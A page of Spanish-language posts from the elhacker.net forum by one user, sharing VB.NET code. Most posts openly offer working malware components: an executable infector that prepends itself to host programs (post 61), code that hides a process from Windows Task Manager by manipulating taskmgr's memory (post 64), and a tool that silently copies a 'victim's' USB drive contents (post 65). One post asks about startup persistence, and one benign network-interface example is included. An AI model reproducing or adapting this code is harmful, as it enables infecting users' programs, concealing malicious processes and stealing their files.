elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: 1 2 3 4 5 6 [7] 8 9
61  Programación / .NET (C#, VB.NET, ASP) / [Spreader] Infectar ejecutables VB.NET en: 30 Abril 2012, 05:37 am
Qué tal andamos?

Bueno, hace días que llevo programando una cosilla (bla bla) y necesitaba que mi código se ejecutara en otros procesos, para ello agrego mi código al principio de un nuevo ejecutable y después el del archivo a infectar. Hasta ahí bien, pero ¿qué sucede si la víctima abre el archivo infectado? ¿Estará corrupto? Nada de eso, se ejecutará mi código. El original seguirá en el ejecutable infectado pero no correrá.

Como al inicio de la aplicación comprobamos si existe la firma en el archivo infectado miramos si es así entonces abrimos el archivo infectado y llenamos un Buffer con los datos de éste. Después, como sabemos la longitud de los datos de nuestro programa, en función de ésta seremos capaces de extraer los bytes de la aplicación original.

Funciona a la perfección. Me gustaría que me dierais vuestra opinión, no estaría de más mejorar el código.

Código
  1. Private Sub Infectar_EXE(ByVal Rutas As Object())
  2.        Try
  3.            Dim Ruta_Archivo As String = CType(Rutas(0), String) 'declaramos las rutas..
  4.            Dim RutaHost As String = CType(Rutas(1), String)
  5.            Dim fs As New FileStream(Ruta_Archivo, FileMode.Open, FileAccess.Read) 'abrimos nuestra copia
  6.            Dim size As Long = fs.Length 'obtenemos los datos de nuestra copia
  7.            Dim Buffer(size) As Byte 'declaramos un Buffer que tendrá como tamaño los datos de nuestra copia
  8.            Dim firma As Byte() = Encoding.Default.GetBytes("Firma") 'Preparamos la firma para escribirla/buscarla en el Buffer
  9.            fs.Read(Buffer, 0, Buffer.Length) 'escribimos en el Buffer actual los datos de la copia
  10.            fs.Close()
  11.            Kill(Ruta_Archivo) 'eliminamos la copia
  12.            fs = New FileStream(RutaHost, FileMode.Open, FileAccess.Read) 'apuntamos al archivo que se generará..
  13.            size += (fs.Length) 'obtenemos el nuevo tamaño para el Buffer (longitud de los datos de nuestro progama + long. datos del programa Host)
  14.            Dim offset As Long = size - fs.Length 'obtenemos los datos de la copia (Repetido pero necesario)
  15.            If IndexOf(Buffer, firma) = -1 Then 'Si la Firma NO ESTÁ en la copia...
  16.                Array.Resize(Buffer, size) 'Modificamos el tamaño del Buffer en función de la variable Size
  17.                fs.Read(Buffer, offset, fs.Length) 'Llenamos el Buffer
  18.                fs.Close()
  19.                Kill(RutaHost) 'Eliminamos el archivo
  20.                fs = New FileStream(RutaHost, FileMode.Create, FileAccess.Write)
  21.                fs.Write(Buffer, 0, Buffer.Length) 'Guardamos un nuevo archivo que será el nuestro Infectado
  22.                fs.Write(firma, 0, firma.Length) 'Le añadimos la Firma al final
  23.                fs.Close()
  24.            Else
  25.                'Como hemos encontrado la Firma entonces..
  26.                fs.Close()
  27.                Ejecutar_Hostage(RutaHost, Buffer, 17920, Buffer.Length - 17920) 'Generamos el archivo Original y lo ejecutamos
  28.            End If
  29.        Catch ex As Exception
  30.            MsgBox(ex.Message)
  31.        End Try
  32.    End Sub
  33.    Private Sub Ejecutar_Hostage(ByVal RutaHost As String, ByVal Buffer As Byte(), ByVal offset As Long, ByVal Count As Int32)
  34.        Dim copia_temporal As New FileStream("C:\temporal.exe", FileMode.Create, FileAccess.Write)
  35.        copia_temporal.Write(Buffer, offset, Count)
  36.        copia_temporal.Close()
  37.        If Not Process.GetCurrentProcess.MainModule.FileName.Contains("Infectar Ejecutables") Then 'Si el nombre del Archivo que se ha ejecutado
  38.            'es distinto del que usamos para la infección
  39.            Process.Start("C:\temporal.exe")
  40.        End If
  41.    End Sub
  42.    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  43.        FileSystem.FileCopy(Process.GetCurrentProcess.MainModule.FileName, "C:\copia.exe") 'nos copiamos en C:\
  44.        Dim Obj() As Object = {"C:\copia.exe", "C:\archivo.exe"} 'inicio un array que contendra las rutas de los archivos
  45.        Dim ThreadInfectar As New Thread(AddressOf Infectar_EXE)
  46.        ThreadInfectar.Start(Obj) 'iniciamos un nuevo hilo pasandole las rutas
  47.    End Sub
  48.    Private Function IndexOf(BuscarEnArray As Byte(), EncotrarBytes As Byte()) As Integer
  49.        'buscamos en el Buffer la Firma
  50.        Dim encoding__1 As Encoding = Encoding.GetEncoding(1252)
  51.        Dim buscar As String = encoding__1.GetString(BuscarEnArray, 0, BuscarEnArray.Length)
  52.        Dim encontrar As String = encoding__1.GetString(EncotrarBytes, 0, EncotrarBytes.Length)
  53.        Dim result As Integer = buscar.IndexOf(encontrar, StringComparison.Ordinal)
  54.        Return result
  55.    End Function
  56.  

Poco tiene esto de Spreader, pero eso ya me lo guardo para mí jejeje.

Saludos.
62  Sistemas Operativos / Windows / [WIN7] Ejecutar aplicación con derechos de Administrador desde el registro. en: 26 Abril 2012, 12:05 pm
Buenas tardes a todos,

estoy desarrollando una aplicación que necesita privilegios de administrador para ejecutarse. El problema no es ése, ya que se pide al usuario que se eleven los privilegios. No sé si estaré en lo cierto ya que hice una prueba poniendo mi aplicación en la clave CurrentVersion/Run (no voy a citar la ruta del registro entera) y no me pidió privilegios ni limosna ni nada, ni siquiera se inició, cosa que me está tocando los....xD

¿Qué debo de hacer?

Saludos.
63  Programación / .NET (C#, VB.NET, ASP) / [Ejemplo] Utilizando Namespace NetworkInformation en: 16 Abril 2012, 14:19 pm
Buenas tardes a todos,

bueno hoy tuve un rato mañanero libre y me puse a investigar por cuenta propia las clases del Namespace Networkinformation. Básicamente me recuerda al mítico comando ipconfig, que si te esmeras programando es como teclear ipconfig /all para listar todas las propiedades de los adaptadores de red.

Bueno lo que hace este sencillo ejemplo es listar todas las interfaces de Red, despues se pide ingresar un número que concuerde con una de las interfaces del menu y acto seguido se recogen las propiedades en un método y se muestran. Cabe decir que si no estás conectado a la red pues poca información obtendrás de la interfaz. Os dejo una screen de como queda.



Source:

Código
  1. Imports System.Net.NetworkInformation
  2. Imports System.Text
  3. Imports System.Net
  4. Module Module1
  5.    Private Sub Enumerar_Interfaces()
  6.        Dim InterfazRed() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces
  7.        For i As Int32 = 0 To InterfazRed.Length - 1
  8.            If InterfazRed(i).Name.Contains("Loopback") Then
  9.            Else
  10.                Console.WriteLine(i & ")" & InterfazRed(i).Name)
  11.            End If
  12.        Next
  13.        Console.WriteLine()
  14.        Obtener_Propiedades(InterfazRed)
  15.    End Sub
  16.    Private Sub Obtener_Propiedades(ByVal InterfazRed() As NetworkInterface)
  17.        Dim k As Int32 = 0
  18.        Console.WriteLine("Introduce un indice para visualizar las propiedades del adaptador deseado")
  19.        k = Int32.Parse(Console.ReadLine())
  20.        If k >= 0 And k <= 9 Then
  21.            Console.Clear()
  22.            Console.WriteLine("Nombre de la Interfaz: " & InterfazRed(k).Name)
  23.            Console.WriteLine("{0} " & InterfazRed(k).Speed / 1000000 & " {1}", "Velocidad Adaptador:", _
  24.                              "Mbps")
  25.            Console.WriteLine("Descripción: " & InterfazRed(k).Description)
  26.            Console.WriteLine("GUID: " & InterfazRed(k).Id)
  27.            Dim operativo As OperationalStatus = InterfazRed(k).OperationalStatus
  28.            Select Case operativo
  29.                Case 1
  30.                    Console.WriteLine("Estado: Conectado")
  31.                    Dim PropiedadesIp As IPInterfaceProperties = InterfazRed(k).GetIPProperties
  32.                    With PropiedadesIp
  33.                        For Each unicast As UnicastIPAddressInformation In .UnicastAddresses
  34.                            If unicast.Address.AddressFamily = Sockets.AddressFamily.InterNetwork Then
  35.                                Console.WriteLine("Dirección IPv4: " & unicast.Address.ToString)
  36.                                Console.WriteLine("Máscara de Subred: " & unicast.IPv4Mask.ToString)
  37.                            Else
  38.                                Console.WriteLine("Direccion IPv6: " & unicast.Address.ToString)
  39.                            End If
  40.                        Next
  41.                        Console.Write("Servidor DHCP: ")
  42.                        For Each dhcp As IPAddress In .DhcpServerAddresses
  43.                            Console.WriteLine(dhcp)
  44.                        Next
  45.                        Console.WriteLine("Servidores DNS:")
  46.                        For Each servidor As IPAddress In .DnsAddresses
  47.                            Console.WriteLine(servidor)
  48.                        Next
  49.                        Console.Write("Puerta de Enlace: ")
  50.                        For Each gateway As GatewayIPAddressInformation In .GatewayAddresses
  51.                            Console.WriteLine(gateway.Address)
  52.                        Next
  53.                        Console.Write("Direccion Multicast: ")
  54.                        For Each multicast As MulticastIPAddressInformation In .MulticastAddresses
  55.                            Console.WriteLine(multicast.Address)
  56.                        Next
  57.                    End With
  58.                Case 2
  59.                    Console.WriteLine("Estado: Desconectado")
  60.            End Select
  61.            Dim MACByte As Byte() = InterfazRed(k).GetPhysicalAddress.GetAddressBytes
  62.            Dim MAC As String = Nothing
  63.            For Each byteMac As Byte In MACByte
  64.                MAC += Hex((byteMac)) & ":"
  65.            Next
  66.            Console.WriteLine("MAC: " & MAC.Remove(MAC.Length - 1, 1) & vbNewLine)
  67.        Else
  68.            Console.Clear()
  69.            Main()
  70.        End If
  71.    End Sub
  72.    Sub Main()
  73.        Try
  74.            Enumerar_Interfaces()
  75.        Catch ex As Exception
  76.        End Try
  77.        Console.Read()
  78.    End Sub
  79. End Module
  80.  

Saludos.
64  Programación / .NET (C#, VB.NET, ASP) / [APORTE] Ocultar Aplicación en Administrador de Tareas en: 16 Abril 2012, 03:59 am
Que pasa .Net(eros) ...

como sabía que había muy pocos ejemplos de ésto rondando por la red y en el foro preguntaron por ello pues a la cama no me iba a ir sin aprender algo nuevo, y bueno, como estoy desarrollando un proyecto que tengo entre manos pues necesitaba tirar de ciertas APIs que al implementarlas me brindaran la oportunidad de ocultar un proceso en el Administrador de Tareas.

El funcionamiento es muy básico, si el Task Manager está abierto se enumeran todas las ventanas hijas y clases, una vez obtenido el handle del Task Manager y el respectivo handle de las ventanas contenedoras de las pestañas (Aplicaciones, Procesos, Servicios...) se procede a identificar el proceso actual con el proceso listado en el Listview del Admin de Tareas. Cuando se identifica el proceso la aplicación sustrae la línea donde se encuentra el nombre de nuestro proceso (WindowsApp1.exe).

Funciona bajo Windows XP y 7. El código anterior que programé solo lo hacia bajo Win XP , buenas noticias :D. Lo unico que el Task Manager se actualiza en muy poco tiempo y en ocasiones se percibe un comportamiento estraño, pero la finalidad es conseguida.

Disfrutadlo!

Source:

Código
  1. Imports System
  2. Imports Microsoft.Win32.SafeHandles
  3. Imports System.Runtime.InteropServices
  4. Imports System.Text
  5. Imports System.ComponentModel
  6. Class form1
  7.    WithEvents time1 As New Timer
  8.    Private Sub form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  9.        Running = True
  10.    End Sub
  11. End Class
  12. #Region " TMListViewDelete "
  13.  
  14. Module TMListViewDelete
  15.    Dim t As New Timer
  16. #Region " Declaraciones/Funciones/Constantes "
  17.  
  18.    Public Const LVM_FIRST = &H1000
  19.    Public Const LVM_DELETECOLUMN = LVM_FIRST + 28
  20.  
  21.    Public Const LVM_GETITEMCOUNT = (LVM_FIRST + 4)
  22.    Public Const LVM_SORTITEMS = (LVM_FIRST + 48)
  23.    Public Const LVM_DELETEITEM = (LVM_FIRST + 8)
  24.    Public Const LVM_GETNEXTITEM = (LVM_FIRST + 12)
  25.    Public Const LVM_GETITEM = (LVM_FIRST + 75)
  26.  
  27.    Public Delegate Function EnumDelegate(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
  28.    Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
  29.    Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
  30.    Public Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumDelegate, ByVal lParam As Integer) As Integer
  31.    <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
  32.    Private Sub GetClassName(ByVal hWnd As System.IntPtr, _
  33.   ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer)
  34.    End Sub
  35.    Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
  36.    Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As IntPtr) As Integer
  37.    Dim hwnd As IntPtr
  38.    Dim controls As String
  39.    Public MyProc As String
  40.  
  41.    Dim ProcLV As IntPtr = IntPtr.Zero
  42. #End Region
  43.  
  44. #Region " Evento Tick Timer"
  45.    Public Sub t_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
  46.        If ProcLV = IntPtr.Zero Then
  47.            hwnd = FindWindow(vbNullString, "Administrador de tareas de Windows")
  48.            If hwnd <> 0 Then
  49.                EnumChildWindows(hwnd, New EnumDelegate(AddressOf TMListViewDelete.EnumChildWindows), 0)
  50.            End If
  51.        Else
  52.            GetListView(hwnd, ProcLV)
  53.        End If
  54.    End Sub
  55. #End Region
  56.  
  57. #Region " Propiedad e inicialización"
  58.    Public Property Running() As Boolean
  59.        Get
  60.            If t.Enabled = True Then
  61.                Return True
  62.            Else
  63.                Return False
  64.            End If
  65.        End Get
  66.        Set(ByVal value As Boolean)
  67.            If value = True Then
  68.                MyProc = Process.GetCurrentProcess.ProcessName 'Esto controla el archivo a ocultar. Cambiad "Processname" por el nombre del archivo a ocultar
  69.                If Not t.Interval = 20 Then
  70.                    With t
  71.                        AddHandler t.Tick, AddressOf t_Tick
  72.                        .Interval = 20
  73.                        .Enabled = True
  74.                        .Start()
  75.                    End With
  76.                Else
  77.                    t.Enabled = True
  78.                    t.Start()
  79.                End If
  80.            Else
  81.                t.Enabled = False
  82.                t.Stop()
  83.                ProcLV = IntPtr.Zero
  84.            End If
  85.        End Set
  86.    End Property
  87.  
  88. #End Region
  89.  
  90. #Region " Obteniendo ListViews"
  91.    Public Function EnumChildWindows(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
  92.        Dim strClassName As String = ObtenerClase(lngHwnd)
  93.        Dim strText As String = ObtenerTextoVentana(lngHwnd)
  94.        If InStr(strClassName, "SysListView32") Then
  95.            GetListView(hwnd, lngHwnd)
  96.            If InStr(strText, "Procesos") Then
  97.                ProcLV = lngHwnd
  98.            End If
  99.        End If
  100.        Dim Classes As String = lngHwnd.ToString & ", " & strClassName & ", " & strText
  101.        Return 1
  102.    End Function
  103.    Public Function ObtenerClase(ByVal handle As IntPtr) As String
  104.        Dim strClassName As New System.Text.StringBuilder()
  105.        strClassName.Length = 255
  106.        GetClassName(handle, strClassName, strClassName.Length)
  107.        Return strClassName.ToString
  108.    End Function
  109.    Public Function ObtenerTextoVentana(ByVal handle As IntPtr) As String
  110.        Dim titleText As New System.Text.StringBuilder()
  111.        titleText.Length = GetWindowTextLength(handle) + 1
  112.        GetWindowText(handle, titleText, titleText.Length)
  113.        Return titleText.ToString
  114.    End Function
  115.  
  116. #End Region
  117. End Module
  118.  
  119. #End Region
  120. #Region " Obtener Objetos "
  121. Module GetItems
  122.    Dim listViewHandle As IntPtr
  123. #Region " Funciones "
  124.    <DllImport(kernel32, SetLastError:=True)> _
  125.    Public Function OpenProcess( _
  126.        ByVal dwDesiredAccess As UInteger, _
  127.        ByVal bInheritHandle As Boolean, _
  128.        ByVal dwProcessId As Integer) As SafeProcessHandle
  129.    End Function
  130.  
  131.  
  132. #Region " ReadProcessMemory "
  133.    <DllImport(kernel32, EntryPoint:="ReadProcessMemory", SetLastError:=True, CharSet:=CharSet.Unicode)> _
  134.    Public Function ReadProcessMemoryW( _
  135.        ByVal hProcess As SafeProcessHandle, _
  136.        ByVal lpBaseAddress As IntPtr, _
  137.        ByVal lpBuffer As StringBuilder, _
  138.        ByVal nSize As Integer, _
  139.        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  140.    End Function
  141.  
  142.    <DllImport(kernel32, SetLastError:=True, CharSet:=CharSet.Ansi)> _
  143.    Public Function ReadProcessMemory( _
  144.        ByVal hProcess As SafeProcessHandle, _
  145.        ByVal lpBaseAddress As IntPtr, _
  146.        ByVal lpBuffer As StringBuilder, _
  147.        ByVal nSize As Integer, _
  148.        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  149.    End Function
  150.  
  151.    <DllImport(kernel32, SetLastError:=True)> _
  152.    Public Function ReadProcessMemory( _
  153.        ByVal hProcess As SafeProcessHandle, _
  154.        ByVal lpBaseAddress As IntPtr, _
  155.        ByRef lpBuffer As LV_ITEM, _
  156.        ByVal nSize As Integer, _
  157.        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  158.    End Function
  159.  
  160.    <DllImport(kernel32, SetLastError:=True)> _
  161.    Public Function ReadProcessMemory( _
  162.        ByVal hProcess As SafeProcessHandle, _
  163.        ByVal lpBaseAddress As IntPtr, _
  164.        ByRef lpBuffer As HDITEM, _
  165.        ByVal nSize As Integer, _
  166.        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  167.    End Function
  168.  
  169.    <DllImport(kernel32, SetLastError:=True)> _
  170.    Public Function ReadProcessMemory( _
  171.        ByVal hProcess As SafeProcessHandle, _
  172.        ByVal lpBaseAddress As IntPtr, _
  173.        ByVal lpBuffer As IntPtr, _
  174.        ByVal nSize As Integer, _
  175.        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  176.    End Function
  177. #End Region
  178.  
  179. #Region " SendMessage "
  180.    <DllImport(user32, SetLastError:=True)> _
  181.    Public Function SendMessage( _
  182.        ByVal hWnd As IntPtr, _
  183.        ByVal message As UInteger, _
  184.        ByVal wParam As IntPtr, _
  185.        ByVal lParam As IntPtr) As Integer
  186.    End Function
  187.  
  188.    ' Has a different return type, so can't overload.
  189.    <DllImport(user32, SetLastError:=True, EntryPoint:="SendMessageA")> _
  190.    Public Function GetHeaderSendMessage( _
  191.        ByVal hWnd As IntPtr, _
  192.        ByVal message As UInteger, _
  193.        ByVal wParam As IntPtr, _
  194.        ByVal lParam As IntPtr) As IntPtr
  195.    End Function
  196.  
  197.    <DllImport(user32, SetLastError:=True)> _
  198.    Public Function SendMessage( _
  199.        ByVal hWnd As IntPtr, _
  200.        ByVal message As UInteger, _
  201.        ByVal wParam As Integer, _
  202.        ByVal lParam As StringBuilder) As Integer
  203.    End Function
  204.  
  205.    <DllImport(user32, SetLastError:=True)> _
  206.    Public Function SendMessage( _
  207.        ByVal hWnd As IntPtr, _
  208.        ByVal message As UInteger, _
  209.        ByVal wParam As Integer, _
  210.        ByVal lParam As IntPtr) As Integer
  211.    End Function
  212. #End Region
  213.  
  214. #Region " VirtualAllocEx "
  215.    <DllImport(kernel32, SetLastError:=True)> _
  216.    Public Function VirtualAllocEx( _
  217.        ByVal hProcess As SafeProcessHandle, _
  218.        ByVal lpAddress As IntPtr, _
  219.        ByVal dwSize As Integer, _
  220.        ByVal flAllocationType As UInteger, _
  221.        ByVal flProtect As UInteger) As IntPtr
  222.    End Function
  223. #End Region
  224.  
  225. #Region " VirtualFreeEx "
  226.    <DllImport(kernel32, SetLastError:=True)> _
  227.    Public Function VirtualFreeEx( _
  228.        ByVal hProcess As SafeProcessHandle, _
  229.        ByVal lpAddress As IntPtr, _
  230.        ByVal dwSize As Integer, _
  231.        ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
  232.    End Function
  233. #End Region
  234.  
  235. #Region " WriteProcessMemory "
  236.    <DllImport(kernel32, SetLastError:=True)> _
  237.    Public Function WriteProcessMemory( _
  238.        ByVal hProcess As SafeProcessHandle, _
  239.        ByVal lpBaseAddress As IntPtr, _
  240.        ByRef lpBuffer As LV_ITEM, _
  241.        ByVal nSize As Integer, _
  242.        ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  243.    End Function
  244.  
  245.    <DllImport(kernel32, SetLastError:=True)> _
  246.    Public Function WriteProcessMemory( _
  247.        ByVal hProcess As SafeProcessHandle, _
  248.        ByVal lpBaseAddress As IntPtr, _
  249.        ByRef lpBuffer As HDITEM, _
  250.        ByVal nSize As Integer, _
  251.        ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  252.    End Function
  253. #End Region
  254. #End Region
  255. #Region " Constantes "
  256.    Public Const LVM_FIRST As UInteger = &H1000
  257.    Public Const LVM_DELETEITEM As UInteger = (LVM_FIRST + 8)
  258.  
  259.    Public Const kernel32 As String = "kernel32"
  260.    Public Const user32 As String = "user32"
  261.    Public Const LVM_GETITEMCOUNT As UInteger = &H1004
  262.    Public Const LVM_GETITEMTEXT As UInteger = &H102D
  263.    Public Const LVM_GETHEADER As UInteger = &H101F
  264.    Public Const HDM_GETIEMA As UInteger = &H1203
  265.    Public Const HDM_GETITEMW As UInteger = &H120B
  266.    Public Const HDM_GETITEMCOUNT As UInteger = &H1200
  267.    Public Const HDM_GETUNICODEFORMAT As UInteger = &H2006
  268.    Public Const HDI_TEXT As UInteger = 2
  269.    Public Const MEM_COMMIT As UInteger = &H1000
  270.    Public Const MEM_RELEASE As UInteger = &H8000
  271.    Public Const PAGE_READWRITE As UInteger = 4
  272.    Public Const PROCESS_VM_READ As UInteger = &H10
  273.    Public Const PROCESS_VM_WRITE As UInteger = &H20
  274.    Public Const PROCESS_VM_OPERATION As UInteger = &H8
  275.    Public Const WM_GETTEXT As UInteger = &HD
  276.    Public Const WM_GETTEXTLENGTH As UInteger = &HE
  277. #End Region
  278. #Region " Structures "
  279. #Region " LV_ITEM "
  280.    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
  281.    Public Structure LV_ITEM
  282.        Public mask As UInteger
  283.        Public iItem As Integer
  284.        Public iSubItem As Integer
  285.        Public state As UInteger
  286.        Public stateMask As UInteger
  287.        Public pszText As IntPtr
  288.        Public cchTextMax As Integer
  289.        Public iImage As Integer
  290.        Public lParam As IntPtr
  291.        Public iIndent As Integer
  292.        Public iGroupId As Integer
  293.        Public cColumns As Integer
  294.        Public puColumns As IntPtr
  295.        Public piColFmt As IntPtr
  296.        Public iGroup As Integer
  297.        Public Function Size() As Integer
  298.            Return Marshal.SizeOf(Me)
  299.        End Function
  300.    End Structure
  301. #End Region
  302.  
  303. #Region " HDITEM "
  304.    <StructLayout(LayoutKind.Sequential)> _
  305.    Public Structure HDITEM
  306.        Public mask As UInteger
  307.        Public cxy As Integer
  308.        Public pszText As IntPtr
  309.        Public hbm As IntPtr
  310.        Public cchTextMax As Integer
  311.        Public fmt As Integer
  312.        Public lParam As IntPtr
  313.        Public iImage As Integer
  314.        Public iOrder As Integer
  315.        Public Function Size() As Integer
  316.            Return Marshal.SizeOf(Me)
  317.        End Function
  318.    End Structure
  319. #End Region
  320. #End Region
  321. #Region "Obtener objetos Listview "
  322.    Public Function GetListView(ByVal handle As IntPtr, ByVal lvhandle As IntPtr) As Boolean
  323.        listViewHandle = lvhandle
  324.        Dim hParent As IntPtr = handle
  325.  
  326.        Dim id As Integer = -1
  327.        Try
  328.            For Each p In Process.GetProcessesByName("taskmgr")
  329.                If p.MainWindowTitle = "Administrador de tareas de Windows" Then
  330.                    id = p.Id
  331.                End If
  332.            Next
  333.            If id = -1 Then
  334.                Throw New ArgumentException("No se encontró el proceso", "processName")
  335.            End If
  336.        Catch : Return False : End Try
  337.  
  338.        Dim hprocess As SafeProcessHandle = Nothing
  339.        Try
  340.            hprocess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, id)
  341.  
  342.            If hprocess Is Nothing Then
  343.                If Marshal.GetLastWin32Error = 0 Then
  344.                    Throw New System.ComponentModel.Win32Exception
  345.                End If
  346.            End If
  347.  
  348.            Dim itemCount As Integer = SendMessage(listViewHandle, LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero)
  349.  
  350.            For row As Integer = 0 To itemCount - 1
  351.  
  352.                Dim lvi As New ListViewItem(GetItem(row, 0, hprocess))
  353.                If lvi.Text.Contains(TMListViewDelete.MyProc) Then SendMessage(listViewHandle, LVM_DELETEITEM, row, IntPtr.Zero)
  354.            Next
  355.        Catch : Return False
  356.        Finally
  357.            If hprocess IsNot Nothing Then
  358.                hprocess.Close()
  359.                hprocess.Dispose()
  360.            End If
  361.  
  362.        End Try
  363.        Return True
  364.    End Function
  365. #End Region
  366. #Region " SafeProcessHandle "
  367.    Friend NotInheritable Class SafeProcessHandle
  368.        Inherits SafeHandleZeroOrMinusOneIsInvalid
  369.        Declare Auto Function CloseHandle Lib "kernel32.dll" (ByVal hObject As IntPtr) As Boolean
  370.  
  371.        Public Sub New()
  372.            MyBase.New(True)
  373.        End Sub
  374.  
  375.        Public Sub New(ByVal handle As IntPtr)
  376.            MyBase.New(True)
  377.            MyBase.SetHandle(handle)
  378.        End Sub
  379.  
  380.        Protected Overrides Function ReleaseHandle() As Boolean
  381.            Return CloseHandle(MyBase.handle)
  382.        End Function
  383.  
  384.    End Class
  385. #End Region
  386. #Region " ObtenerObjeto "
  387.    Public Function GetItem(ByVal row As Integer, ByVal subitem As Integer, _
  388.                                ByVal hProcess As SafeProcessHandle) As String
  389.  
  390.        Dim lvitem As New LV_ITEM
  391.        lvitem.cchTextMax = 260
  392.        lvitem.mask = 1
  393.        lvitem.iItem = row
  394.        lvitem.iSubItem = subitem
  395.        Dim pString As IntPtr
  396.        Dim s As New StringBuilder(260)
  397.        Try
  398.  
  399.            pString = VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT, PAGE_READWRITE)
  400.            lvitem.pszText = pString
  401.            Dim pLvItem As IntPtr
  402.            Try
  403.                pLvItem = VirtualAllocEx(hProcess, IntPtr.Zero, lvitem.Size, MEM_COMMIT, PAGE_READWRITE)
  404.                Dim boolResult As Boolean = WriteProcessMemory(hProcess, pLvItem, lvitem, lvitem.Size, 0)
  405.                If boolResult = False Then Throw New Win32Exception
  406.  
  407.                SendMessage(listViewHandle, LVM_GETITEMTEXT, row, pLvItem)
  408.                boolResult = ReadProcessMemory(hProcess, pString, s, 260, 0)
  409.                If boolResult = False Then Throw New Win32Exception
  410.                boolResult = ReadProcessMemory(hProcess, pLvItem, lvitem, Marshal.SizeOf(lvitem), 0)
  411.                If boolResult = False Then Throw New Win32Exception
  412.            Finally
  413.                If pLvItem.Equals(IntPtr.Zero) = False Then
  414.                    Dim freeResult As Boolean = VirtualFreeEx(hProcess, pLvItem, 0, MEM_RELEASE)
  415.                    If freeResult = False Then Throw New Win32Exception
  416.                End If
  417.            End Try
  418.        Finally
  419.            If pString.Equals(IntPtr.Zero) = False Then
  420.                Dim freeResult As Boolean = VirtualFreeEx(hProcess, pString, 0, MEM_RELEASE)
  421.                If freeResult = False Then Throw New Win32Exception
  422.            End If
  423.        End Try
  424.  
  425.        Return s.ToString
  426.    End Function
  427. #End Region
  428. End Module
  429.  
  430. #End Region
  431.  

Un saludo!
65  Programación / .NET (C#, VB.NET, ASP) / [APORTE] Interceptar Archivos/Directorios USB en: 11 Abril 2012, 19:16 pm
Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:
Código
  1. Imports Microsoft.VisualBasic.FileIO
  2. Module Interceptar
  3.    Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
  4.        Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
  5.        For Each Ruta_Archivo As String In Archivos
  6.            Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
  7.            Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
  8.            FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
  9.        Next
  10.    End Sub
  11.    Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
  12.        Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
  13.        For Each Ruta_Directorio As String In Directorios
  14.            Console.WriteLine(Ruta_Directorio)
  15.            Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
  16.            FileSystem.CreateDirectory(CurDir() + Directorio)
  17.            FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
  18.        Next
  19.    End Sub
  20.    Sub Main()
  21.        Console.WriteLine("--Interceptar Archivos/Directorios USB--")
  22.        Dim Ruta_USB As String = Nothing
  23.        While Ruta_USB = Nothing
  24.            For Each drive In FileSystem.Drives
  25.                If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
  26.                    Console.WriteLine("Se encontro un dispositivo USB")
  27.                    Ruta_USB = drive.Name
  28.                    Console.WriteLine(drive.Name)
  29.                    Try
  30.                        Interceptar_Archivos(Ruta_USB)
  31.                        Interceptar_Carpetas(Ruta_USB)
  32.                    Catch ex As Exception
  33.                    End Try
  34.                End If
  35.            Next
  36.        End While
  37.        Console.Read()
